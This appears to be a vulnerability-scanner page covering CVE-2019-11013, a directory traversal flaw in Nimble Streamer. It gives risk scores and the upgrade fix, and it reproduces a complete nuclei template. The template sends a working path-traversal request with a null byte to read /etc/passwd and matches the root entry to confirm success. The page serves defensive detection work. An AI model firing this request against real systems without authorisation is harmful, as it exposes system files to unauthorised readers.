Nimble Streamer <=3.5.4-9 - Local File Inclusion

mediumseverity

6.5CVSS score

26.4%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Nimble Streamer 3.0.2-2 through 3.5.4-9 is vulnerable to local file inclusion. An attacker can traverse the file system to access files or directories that are outside of the restricted directory on the remote server.

Impact

The LFI vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and further exploitation of the system.

Fix

Upgrade Nimble Streamer to a version higher than 3.5.4-9 to mitigate the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/demo/file/../../../../../../../../etc/passwd%00filename.mp4/chunk.m3u8?nimblesessionid=1484448
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-11013 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-11013

info:
  name: Nimble Streamer <=3.5.4-9 - Local File Inclusion
  author: 0x_Akoko
  severity: medium
  description: Nimble Streamer 3.0.2-2 through 3.5.4-9 is vulnerable to local file inclusion. An attacker can traverse the file system to access files or directories that are outside of the restricted directory on the remote server.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and further exploitation of the system.
  remediation: |
    Upgrade Nimble Streamer to a version higher than 3.5.4-9 to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47301
    - https://mayaseven.com/nimble-directory-traversal-in-nimble-streamer-version-3-0-2-2-to-3-5-4-9/
    - http://packetstormsecurity.com/files/154196/Nimble-Streamer-3.x-Directory-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-11013
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2019-11013
    cwe-id: CWE-22
    epss-score: 0.26379
    epss-percentile: 0.98021
    cpe: cpe:2.3:a:softvelum:nimble_streamer:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: softvelum
    product: nimble_streamer
  tags: cve,cve2019,lfi,nimble,edb,packetstorm,softvelum,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/demo/file/../../../../../../../../etc/passwd%00filename.mp4/chunk.m3u8?nimblesessionid=1484448"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from